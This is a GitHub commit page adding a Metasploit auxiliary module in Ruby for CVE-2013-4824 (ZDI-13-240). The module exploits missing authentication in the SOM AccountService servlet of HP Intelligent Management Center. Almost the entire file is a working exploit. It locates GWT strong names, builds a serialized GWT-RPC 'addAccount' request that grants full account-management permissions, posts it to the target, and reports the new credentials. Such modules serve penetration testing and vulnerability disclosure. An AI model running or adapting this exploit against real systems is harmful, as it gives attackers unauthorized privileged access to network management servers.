Skip to content

Commit 69da39a

Browse files
author
jvazquez-r7
committed
Add module for ZDI-13-240
1 parent 0bc72a3 commit 69da39a

File tree

1 file changed

+249
-0
lines changed

1 file changed

+249
-0
lines changed
Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'HP Intelligent Management SOM Account Creation',
16+
'Description' => %q{
17+
This module exploits a lack of authentication and access control in HP Intelligent
18+
Management, specifically in the AccountService RpcServiceServlet from the SOM component,
19+
in order to create a SOM account with Account Management permissions. This module has
20+
been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with
21+
SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.
22+
},
23+
'References' =>
24+
[
25+
[ 'CVE', '2013-4824' ],
26+
[ 'OSVDB', '98249' ],
27+
[ 'BID', '62902' ],
28+
[ 'ZDI', '13-240' ],
29+
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943547' ]
30+
],
31+
'Author' =>
32+
[
33+
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
34+
'juan vazquez' # Metasploit module
35+
],
36+
'License' => MSF_LICENSE,
37+
'DisclosureDate' => "Oct 08 2013"
38+
))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8080),
43+
OptString.new('USERNAME', [true, 'Username for the new account', 'msf']),
44+
OptString.new('PASSWORD', [true, 'Password for the new account', 'p4ssw0rd'])
45+
], self.class)
46+
end
47+
48+
def get_service_desk_strong_name
49+
res = send_request_cgi({
50+
'uri' => normalize_uri("servicedesk", "servicedesk", "servicedesk.nocache.js"),
51+
'method' => 'GET'
52+
})
53+
54+
if res and res.code == 200 and res.body =~ /unflattenKeylistIntoAnswers\(\['default', 'safari'\], '([0-9A-Fa-f]+)'\);/
55+
return $1
56+
end
57+
58+
return nil
59+
end
60+
61+
def get_account_service_strong_name(service_desk)
62+
res = send_request_cgi({
63+
'uri' => normalize_uri("servicedesk", "servicedesk", "#{service_desk}.cache.html"),
64+
'method' => 'GET'
65+
})
66+
67+
if res and res.code == 200 and res.body =~ /'accountSerivce.gwtsvc', '([0-9A-Fa-f]+)', SERIALIZER_1/
68+
return $1
69+
end
70+
71+
return nil
72+
end
73+
74+
def run
75+
76+
print_status("#{peer} - Trying to find the service desk service strong name...")
77+
service_desk = get_service_desk_strong_name
78+
if service_desk.nil?
79+
print_error("#{peer} - service desk service not found.")
80+
return
81+
end
82+
print_good("#{peer} - service desk strong number found: #{service_desk}")
83+
84+
print_status("#{peer} - Trying to find the AccountService strong name...")
85+
account_service = get_account_service_strong_name(service_desk)
86+
if account_service.nil?
87+
print_error("#{peer} - AccountService service not found.")
88+
return
89+
end
90+
print_good("#{peer} - AccountService strong number found: #{account_service}")
91+
92+
header= "6|0|39" # version | unknown | string_table size
93+
94+
# Used to parse the payload
95+
string_table = [
96+
"http://localhost:8080/servicedesk/servicedesk/", # 1 servlet URL
97+
"#{account_service}", # 2 AccountService strong name
98+
"com.h3c.imc.eu.client.account.AccountService", # 3 GWT Service Class
99+
"addAccount", # 4 GWT Service Method
100+
"com.extjs.gxt.ui.client.data.BaseModelData/3541881726", # 5 BaseModelData Type
101+
"com.extjs.gxt.ui.client.data.RpcMap/3441186752", # 6 RpcMap Type
102+
"isAccount", # 7 isAccount Field
103+
"java.lang.Boolean/476441737", # 8 Boolean Type
104+
"ssName", # 9 ssName Field
105+
"java.lang.String/2004016611", # 10 String Type
106+
datastore["USERNAME"], # 11 ssName Value
107+
"authType", # 12 authType Field
108+
"java.lang.Integer/3438268394", # 13 Integer Type
109+
"ssPassword", # 14 ssPassword Field
110+
datastore["PASSWORD"], # 15 ssPassword value
111+
"accountGroups", # 16 accountGroups Field
112+
"java.util.ArrayList/3821976829", # 17 ArayList Type
113+
"permissions", # 18 permissions Field
114+
"iMC-SOM-SERVICEDESK", # 19 permissions Value
115+
"iMC-SOM-SERVICEDESK.PROCTASK", # 20 permissions Value
116+
"iMC-SOM-SERVICEDESK.ACCT", # 21 permissions Value
117+
"iMC-SOM-SERVICEDESK.ACCT.VIEW", # 22 permissions Value
118+
"iMC-SOM-SERVICEDESK.ACCT.ADD", # 23 permissions Value
119+
"iMC-SOM-SERVICEDESK.ACCT.MOD", # 24 permissions Value
120+
"iMC-SOM-SERVICEDESK.ACCT.DEL", # 25 permissions Value
121+
"userName", # 26 userName Field
122+
"certification", # 27 certification Field
123+
"userGroupId", # 28 userGroupId Field
124+
"java.lang.Long/4227064769", # 29 Long Type
125+
"userGroupName", # 30 userGroupName Field
126+
"Ungrouped", # 31 userGroupName Value
127+
"userGroupDescription", # 32 userGroupDescription Field
128+
"Ungrouped User.This record is generated by system, can not be deleted.", # 33 userGroupDescription Value
129+
"address", # 34 address Field
130+
"", # 35 address Value
131+
"phone", # 36 phone Field
132+
"email", # 37 email Field
133+
"userAppendInfo", # 38 userAppendInfo Field
134+
"java.util.HashMap/962170901" # 39 HashMap Type
135+
].join("|")
136+
137+
payload = [
138+
"1", # servlet URL
139+
"2", # strong name
140+
"3", # GWT Service Class
141+
"4", # GWT Service Method (addAccount)
142+
"1", # number of method parameters (addAccount has 1 parameter)
143+
"5", # parameter type (BaseModelData)
144+
"5", # read BaseModelData
145+
"1", # read 1 object into the BaseModelData
146+
"6", # read RpcMap
147+
"15", # read 15 objects into the RpcMap
148+
"7", # RpcMap[0] => isAccount
149+
"8", # isAccount Type (Boolean)
150+
"1", # isAccount Value (true)
151+
"9", # RpcMap[1] => ssName
152+
"10", # ssName Type (String)
153+
"11", # ssName Value
154+
"12", # RpcMap[2] => authType
155+
"13", # authType Type
156+
"0", # authType Value (0 => password)
157+
"14", # RpcMap[3] => ssPassword
158+
"10", # ssPassword Type (String)
159+
"15", # ssPassword Value
160+
"16", # RpcMap[4] => accountGroups
161+
"17", # accountGroups Type (ArrayList)
162+
"0", # accountGroups size (0)
163+
"18", # RpcMap[5] => permissions
164+
"17", # permissions Type (ArrayList)
165+
"7", # permissions size (7)
166+
"10", # permissions[0] Type (String)
167+
"19", # permissions[0] Value (iMC-SOM-SERVICEDESK)
168+
"10", # permissions[1] Type (String)
169+
"20", # permissions[1] Value (iMC-SOM-SERVICEDESK.PROCTASK)
170+
"10", # permissions[2] Type (String)
171+
"21", # permissions[2] Value (iMC-SOM-SERVICEDESK.ACCT)
172+
"10", # permissions[3] Type (String)
173+
"22", # permissions[3] Value (iMC-SOM-SERVICEDESK.ACCT.VIEW)
174+
"10", # permissions[4] Type (String)
175+
"23", # permissions[4] Value (iMC-SOM-SERVICEDESK.ACCT.ADD)
176+
"10", # permissions[5] Type (String)
177+
"24", # permissions[5] Value (iMC-SOM-SERVICEDESK.ACCT.MOD)
178+
"10", # permissions[6] Type (String)
179+
"25", # permissions[6] Value (iMC-SOM-SERVICEDESK.ACCT.DEL)
180+
"26", # RpcMap[6] => username
181+
"-4", # username Type - not provided
182+
"27", # RpcMap[7] => certification
183+
"-4", # certification Type - not provided
184+
"28", # RpcMap[8] => userGroupId
185+
"29", # userGroupId Type (Long)
186+
"B", # userGroupId Value - not provided
187+
"30", # RpcMap[9] => userGroupName
188+
"10", # userGroupName Type (String)
189+
"31", # userGroupName Value (Ungrouped)
190+
"32", # RpcMap[10] => userGroupDescription
191+
"10", # userGroupDescription Type (String)
192+
"33", # userGroupDescription Value (Ungrouped User.This record is generated by system, can not be deleted.)
193+
"34", # RpcMap[11] => address
194+
"10", # address Type (String)
195+
"35", # address Value ("")
196+
"36", # RpcMap[12] => phone
197+
"-19",# phone Type - not provided
198+
"37", # RpcMap[13] => email
199+
"-19",# email Type - not provided
200+
"38", # RpcMap[14] => userAppendInfo
201+
"39", # userAppendInfo Type (HashMap)
202+
"0" # userAppendInfo HashMap size (0)
203+
].join("|")
204+
205+
gwt_request = [header, string_table, payload].join("|")
206+
gwt_request << "|" # end
207+
208+
service_url = ssl ? "https://" : "http://"
209+
service_url << "#{rhost}:#{rport}/servicedesk/servicedesk/"
210+
211+
print_status("#{peer} - Trying to create account #{datastore["USERNAME"]}...")
212+
res = send_request_cgi({
213+
'method' => 'POST',
214+
'uri' => normalize_uri("servicedesk", "servicedesk", "accountSerivce.gwtsvc"),
215+
'ctype' => 'text/x-gwt-rpc; charset=UTF-8',
216+
'headers' => {
217+
"X-GWT-Module-Base" => service_url,
218+
"X-GWT-Permutation" => "#{service_desk}"
219+
},
220+
'data' => gwt_request
221+
})
222+
223+
unless res and res.code == 200
224+
print_error("#{peer} - Unknown error while creating the user.")
225+
return
226+
end
227+
228+
if res.body =~ /Username.*already exists/
229+
print_error("#{peer} - The user #{datastore["USERNAME"]} already exists.")
230+
return
231+
elsif res.body =~ /Account.*added successfully/
232+
login_url = ssl ? "https://" : "http://"
233+
login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp"
234+
235+
report_auth_info({
236+
:host => rhost,
237+
:port => rport,
238+
:user => datastore["USERNAME"],
239+
:pass => datastore["PASSWORD"],
240+
:type => "password",
241+
:sname => (ssl ? "https" : "http"),
242+
:proof => "#{login_url}\n#{res.body}"
243+
})
244+
print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
245+
print_status("#{peer} - Use it to log into #{login_url}")
246+
end
247+
end
248+
249+
end

0 commit comments

Comments
 (0)